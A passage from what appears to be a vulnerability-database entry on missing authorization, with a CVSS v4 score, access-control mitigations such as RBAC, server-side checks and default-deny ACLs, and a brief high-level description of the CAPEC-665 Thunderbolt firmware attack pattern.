"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.